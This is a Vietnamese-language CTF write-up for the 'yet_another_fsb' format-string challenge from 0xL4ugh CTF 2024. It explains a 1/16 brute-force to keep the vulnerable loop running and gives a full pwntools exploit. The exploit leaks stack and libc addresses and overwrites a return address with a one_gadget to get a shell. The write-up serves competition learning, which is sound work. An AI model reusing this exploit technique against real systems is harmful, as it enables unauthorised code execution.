---
# System prepended metadata

title: 0xL4ugh CTF 2024
tags: [writeup]

---

## yet_another_fsb





checksec : ![image](https://hackmd.io/_uploads/rJuQ_sCrJg.png)


- 1 bài fsb brutefoce , nhìn vào ta thấy được có 1 bug fsb , tuy nhiên nếu muốn loop vô hạn thì ta phải sửa được giá trị v5 != 0 , và đây có lẽ là điều khó khăn nhất ở bài này 
![image](https://hackmd.io/_uploads/BkGM_jRH1e.png)

- đây là stack của ta tại ```printf```

![image](https://hackmd.io/_uploads/ByZ0djASke.png)

- ở đây ban đầu mình nghĩ là cần sử dụng 1 con trỏ stack(A) đang trỏ đến địa chỉ stack khác(B) , lúc này ta cần ghi địa chỉ B thành địa chỉ chứa giá trị cần ghi ("C") , sau đó ghi C thành giá trị cần ghi

nó sẽ như thế này : 
```
A->B
C->value

A->C
cuối cùng là ghi C thành giá trị khác 0 
```

- tuy nhiên vì chỉ được ghi 1 lần nên cách này có vẻ khá rắc rối , ta cần dùng cách khác , nếu để ý kĩ thì 4bit cuối cùng của giá trị cần ghi luôn là 'e' và offset thứ 21 ta có thể control được , vậy ở đây ta sẽ overwrite 1 byte của offset21 sao cho 4bit cuối sẽ luôn là e -> ta sẽ bruteforce 4 bit (2^4 = 16) , tỉ lệ sẽ là 1/16

```
giá trị cần ghi : 0x7fffffffd8be
offset 21 : 0x00007fffffffd888
```
![image](https://hackmd.io/_uploads/SJROooAB1e.png)

- bruteforce xong rồi thì phần còn lại ta có thể leak_stack hoặc overwrite GOT (bài này là RELRO 1 phần) 

script 

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./yet_another_fsb_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
p = process()
HOST = "775be8f93719361fa898224c7cf5d114.chal.ctf.ae"
p = remote(HOST, 443, ssl=True, sni=HOST)
#gdb.attach(p,gdbscript='''
#            b*0x00000000004011ea
#            b*0x00000000004011ef
#           ''')
input()
sleep(1)
payload  = b'%254c%27$hhn'
payload += b'|%43$p|%41$p|'
payload += b'\xfe' * (0xa9 - len(payload))
p.send(payload)
sleep(0.5)
p.recvuntil(b'|')
stack = int(p.recvuntil(b'|')[:-1], 16)
stack_write = stack - 0x120
log.info(f"stack {hex(stack)}")

libc.address = int(p.recvuntil(b'|')[:-1], 16) - (0x7f7be8cf9c88 - 0x7f7be8cd4000)
log.info(f"libc: {hex(libc.address)}")

one_gadget = 0xff2ef + libc.address
pop_rdi = 0x00000000000fd8c4+ libc.address
system = libc.sym.system
bin_sh = next(libc.search(b'/bin/sh\x00'))
write = {
        stack_write:one_gadget,
        stack_write-10:0
        }
payload = fmtstr_payload(6,write,write_size='short')
p.sendline(payload)
p.interactive()
```

![image](https://hackmd.io/_uploads/rkUFD1kIyx.png)
